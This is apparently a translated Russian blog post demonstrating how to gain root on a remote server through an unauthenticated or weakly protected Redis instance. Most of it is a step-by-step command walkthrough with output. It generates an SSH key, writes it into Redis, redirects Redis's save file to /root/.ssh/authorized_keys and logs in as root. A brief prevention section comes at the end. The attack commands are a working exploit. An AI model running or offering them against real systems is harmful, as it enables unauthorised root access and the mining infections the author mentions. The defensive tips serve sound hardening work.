На автора также напал вирус майнинга, и это очень неудобно, но на самом деле, если вы понимаете способы вторжения, его очень легко предотвратить.Сегодня мы продемонстрируем, как получить root-пользователя удаленный сервер путем эскалации прав через Redis.
1. Сначала нам нужны некоторые предварительные условия
-
Условие 1: сначала у вас должен быть Redis, и нам нужно знать его порт [по умолчанию 6379];
-
Условие 2: пароль Redis не может быть слишком сложным или пароль отсутствует;
-
Условие 3: пользователь, который запускает Redis, предпочтительно является пользователем Root, что более разрушительно;
2. Начните делать что-то
- 2.1 Создайте пару ключей
Сгенерируйте пару через ssh-keygen, конечно можно без проблем использовать то, что у вас уже есть.
root@kali:/usr/local/src# ssh-keygenGenerating public/private rsa key pair.Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa
Затем сгенерируйте значение ключа атаки через открытый ключ.
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt
Содержание выглядит следующим образом
root@kali:/tmp/rediskey# cat foo.txtssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali
Здесь две новые строки добавляются до и после, чтобы предотвратить соединение данных вместе и вызвать проблему сбоя.
- 2.2 Настройка ключа для Redis
Операция выглядит следующим образом:
root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set barOK
Войдите в Redis, чтобы проверить, было ли оно записано в Redis.
root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129192.168.243.129:6379> get bar"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"
- 2.3 Замена системных файлов с помощью механизма сохранения Redis
И увидеть следующую операцию
192.168.243.129:6379> config set dir /root/.sshOK192.168.243.129:6379> config get dir1) "dir"2) "/root/.ssh"192.168.243.129:6379> config set dbfilename "authorized_keys"OK192.168.243.129:6379> saveOK192.168.243.129:6379> exit
В это время мы входим на удаленный хост, чтобы увидеть эффект.
root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established.ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts.Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1root@kali:~#
Ок, вот мы успешно подняли права, тогда посмотрим, что за файл экспорта? По сути, это форма файла сохранения Redis. Если вам интересно, вы можете открыть его и посмотреть сами. Здесь он не будет показан.
3. Как предотвратить
Сила этой уязвимости все еще довольно велика, мы сейчас получаем только одно разрешение хоста и добавляем его в запланированную задачу для выполнения каких-то скриптов, а затем заражаем пачками?
Методы профилактики следующие:
-
Не контролируйте Redis на опасных IP-адресах. Если это так, добавьте контроль брандмауэра;
-
Redis должен увеличить ограничения на пароли и не может быть слабыми паролями;
-
Старайтесь не запускать Redis от имени пользователя root.
Выполните три вышеуказанных пункта, чтобы предотвратить майнинг Redis, без проблем.
Источник: cnblogs.com/evan-blog/p/10707087.html.
PS: Чтобы эту статью не нашли, вы можете добавить ее в закладки и поставить лайк, чтобы ее было легко просматривать и находить.